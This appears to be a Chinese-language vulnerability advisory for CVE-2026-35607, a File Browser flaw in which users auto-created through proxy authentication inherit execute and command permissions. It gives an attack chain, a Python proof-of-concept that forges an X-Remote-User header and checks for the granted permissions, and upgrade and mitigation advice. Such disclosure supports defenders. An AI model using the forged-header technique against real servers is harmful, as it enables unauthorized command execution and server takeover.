IPBUF安全漏洞报告
English
CVE-2026-35607 CVSS 8.1 高危

CVE-2026-35607 File Browser 权限提升漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35607
漏洞类型
权限提升
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
File Browser

相关标签

权限提升远程代码执行File Browser访问控制绕过CVE-2026-35607

漏洞概述

File Browser 在 2.63.1 版本之前存在权限提升漏洞。尽管注册处理程序已修复自注册用户获取执行权限的问题,但代理认证处理程序未应用相同修复。通过代理认证自动创建的用户会继承全局默认的执行权限,导致攻击者可能获得未授权的命令执行能力,严重影响系统安全。

技术细节

该漏洞源于代码逻辑中的权限继承不一致问题。在 File Browser 的早期版本中,开发者在 commit b6a4fb1 中修复了常规注册用户的权限逻辑,确保通过注册页面自注册的用户无法继承全局默认设置中的“执行”和“命令”权限。然而,在处理代理认证的代码分支中,开发者遗漏了这一关键的安全补丁。当系统配置了代理认证时,用户首次通过代理登录会触发自动账户创建流程。由于该流程未对新建用户的权限进行显式限制,系统会直接应用全局默认权限配置。如果全局默认配置中开启了命令执行或文件操作权限,攻击者只需伪造或利用代理头触发登录,即可获得一个具备高权限的账户,进而在服务器上执行任意命令,导致远程代码执行(RCE)。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是 2.63.1 之前的 File Browser 版本,并配置了代理认证。
STEP 2
利用
攻击者发送包含代理认证头(如 X-Remote-User)的 HTTP 请求,触发系统自动创建用户账户。
STEP 3
权限提升
由于漏洞存在,新创建的用户从全局默认设置中继承了执行权限,而非受限的用户权限。
STEP 4
执行
攻击者利用获取的执行权限,通过 File Browser 的命令执行功能在服务器上运行任意系统命令。
STEP 5
影响
攻击者完全控制了服务器,导致数据泄露、篡改或服务中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Concept for CVE-2026-35607: Proxy Auth Permission Inheritance import requests target_url = "http://target-filebrowser.com" # Step 1: Simulate Proxy Authentication to create user # Assuming the reverse proxy sets the X-Remote-User header headers = { "X-Remote-User": "attacker", "X-Remote-Email": "[email protected]" } # Trigger login/creation via proxy session = requests.Session() login_resp = session.get(f"{target_url}/api/public/settings", headers=headers) if login_resp.status_code == 200: print("[+] User potentially created via Proxy Auth.") # Step 2: Attempt to verify execution permissions # In vulnerable versions, this user might inherit 'execute' perms from global defaults # Checking API settings or attempting a command execution endpoint api_resp = session.get(f"{target_url}/api/user") if api_resp.status_code == 200: user_data = api_resp.json() # Check if 'commands' or 'execute' permissions are enabled (LockScreen usually prevents this in fixed versions) perm = user_data.get('perm', {}) if perm.get('execute') or perm.get('commands'): print(f"[!] VULNERABILITY CONFIRMED: User has execution permissions: {perm}") else: print("[-] User does not have execution permissions. Patched or restricted defaults.") else: print("[-] Connection failed.")

影响范围

File Browser < 2.63.1

防御指南

临时缓解措施
建议立即升级到 2.63.1 或更高版本以修复此漏洞。如果暂时无法升级,应检查并修改 File Browser 的全局设置,撤销默认用户的“执行”和“命令”权限,或者禁用代理认证登录方式,防止自动创建高权限账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表